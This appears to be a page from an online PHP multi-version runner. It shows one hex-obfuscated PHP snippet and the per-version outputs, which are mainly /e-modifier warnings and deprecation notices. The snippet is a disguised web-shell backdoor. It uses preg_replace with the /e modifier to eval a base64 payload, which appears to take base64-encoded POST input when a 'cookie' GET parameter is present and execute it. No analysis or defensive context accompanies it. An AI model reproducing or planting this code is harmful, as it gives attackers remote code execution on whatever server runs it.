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run code in 300+ PHP versions simultaneously
<?php preg_replace("\x23\50\x2e\53\x29\43\x69\145","\x40\145\x76\141\x6c\50\x22\134\x31\42\x29\73","\x40\145\x76\141\x6c\50\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x22\141\x57\131\x67\113\x47\154\x7a\143\x32\126\x30\113\x43\122\x66\122\x30\126\x55\127\x79\112\x6a\142\x32\71\x72\141\x57\125\x69\130\x53\153\x70\111\x48\163\x67\132\x57\116\x6f\142\x79\101\x69\131\x32\71\x76\141\x32\154\x6c\120\x54\121\x69\117\x79\102\x70\132\x69\101\x6f\141\x58\116\x7a\132\x58\121\x6f\112\x46\71\x51\124\x31\116\x55\127\x79\122\x6a\142\x32\71\x72\132\x58\154\x64\113\x53\153\x67\121\x47\126\x32\131\x57\167\x6f\131\x6d\106\x7a\132\x54\131\x30\130\x32\122\x6c\131\x32\71\x6b\132\x53\147\x6b\130\x31\102\x50\125\x31\122\x62\112\x47\116\x76\142\x32\164\x6c\145\x56\60\x70\113\x54\163\x67\132\x58\150\x70\144\x44\163\x67\146\x51\75\x3d\42\x29\51\x3b");
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.29, 8.2.0 - 8.2.20, 8.3.0 - 8.3.8
Warning: preg_replace(): The /e modifier is no longer supported, use preg_replace_callback instead in /in/04us9 on line 3
Output for 5.5.24 - 5.5.35, 5.6.7 - 5.6.28
Deprecated: preg_replace(): The /e modifier is deprecated, use preg_replace_callback instead in /in/04us9 on line 3
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45

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238.53 ms | 403 KiB | 347 Q